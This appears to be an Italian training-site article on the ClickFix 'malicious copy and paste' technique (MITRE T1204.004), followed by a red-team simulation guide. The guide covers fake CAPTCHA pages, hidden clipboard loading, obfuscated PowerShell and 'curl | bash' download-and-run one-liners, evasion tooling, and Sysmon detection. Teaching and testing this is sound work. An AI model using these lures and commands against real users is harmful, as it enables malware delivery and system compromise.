Copia-Incolla Malevolo: Malicious Copy and Paste (T1204.004)

La tecnica T1204.004 descrive uno schema di ingegneria sociale in cui la vittima viene indotta a copiare del codice da una fonte apparentemente legittima e a incollarlo direttamente in un interprete di comandi come PowerShell, cmd.exe, la finestra Esegui di Windows o un terminale Unix. L'attacco appartiene alla tattica TA0002 (Execution) e si colloca nella fase di Initial Access/Execution della kill chain, spesso combinato con Drive-by Compromise o phishing mirato.

Lo schema più noto è denominato ClickFix: pagine web compromesse o email di phishing presentano finti messaggi di errore, CAPTCHA fasulli o soluzioni a problemi tecnici, invitando l'utente ad aprire un terminale e incollare un one-liner offuscato. Il payload è tipicamente codificato in Base64, richiama Invoke-Expression o scarica uno stager tramite DownloadString, Invoke-WebRequest o curl | sh.

Il valore tattico per l'attaccante è duplice. Da un lato, aggira i controlli di filtering email e il sandboxing del browser, perché non viene scaricato alcun file eseguibile: è l'utente stesso a materializzare il comando nell'interprete. Dall'altro, sfrutta il bias cognitivo dell'utente che segue istruzioni tecniche pur di risolvere un errore percepito. I dati MITRE censiscono un gruppo APT (Contagious Interview) e un software (Havoc) che adottano attivamente ClickFix, con tre mitigazioni raccomandate a livello di web filtering, IPS e application control.

Per simulare T1204.004 in un esercizio red team, la catena inizia con la costruzione di una landing page ClickFix credibile: un falso errore di Cloudflare, un CAPTCHA rotto o un messaggio "Verify you are human" che istruisce l'utente ad aprire la finestra Esegui (Win+R) e incollare un comando pre-caricato in clipboard tramite JavaScript.

Sul lato infrastruttura, Evilginx2 (open source) o Gophish (open source) permettono di orchestrare la campagna phishing e tracciare i click. Per generare la landing page ClickFix, il framework Havoc (open source) include moduli operator-side per la generazione di stager PowerShell, mentre Nighthawk (a pagamento) e Cobalt Strike (a pagamento) restano riferimenti per il post-exploitation successivo.

Un one-liner tipico che l'operatore red team farebbe incollare alla vittima simulata assume forma simile a:

powershell -w hidden -enc

dove il blob Base64 decodifica in una chiamata IEX (New-Object Net.WebClient).DownloadString(''). Su Linux/macOS l'equivalente è:

curl -sSL | bash

Per offuscare la stringa in clipboard e nascondere il prefisso powershell alla vista dell'utente, si sfrutta l'API JavaScript navigator.clipboard.writeText() con caratteri di controllo o padding di spazi.

In laboratorio, per validare la catena end-to-end conviene:

  • Ospitare la landing page su un dominio con certificato valido (Let's Encrypt, gratuito) e reputazione pulita, eventualmente ottenuto tramite domain fronting o typosquatting controllato.
  • Testare l'offuscamento del payload con Invoke-Obfuscation (open source) di Daniel Bohannon per generare varianti che evadano signature statiche.
  • Verificare la telemetria generata con Sysmon (gratuito) configurato con la policy di SwiftOnSecurity, monitorando gli EventID 1 (process creation) e 3 (network connect).

Per estendere il test allo scenario email-based, si prepara un allegato HTML che, all'apertura, mostra un finto errore "Document cannot be rendered — copy the following recovery command". Questa variante bypassa i gateway email che ispezionano macro Office ma non contenuto HTML statico.

Durante il retest, misurare il tasso di conversione (utenti che effettivamente incollano) e il tempo medio dall'apertura alla execution: sono KPI utili per calibrare training di awareness successivi. Mantenere sempre scope, RoE firmate e canale di kill-switch per interrompere la simulazione.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.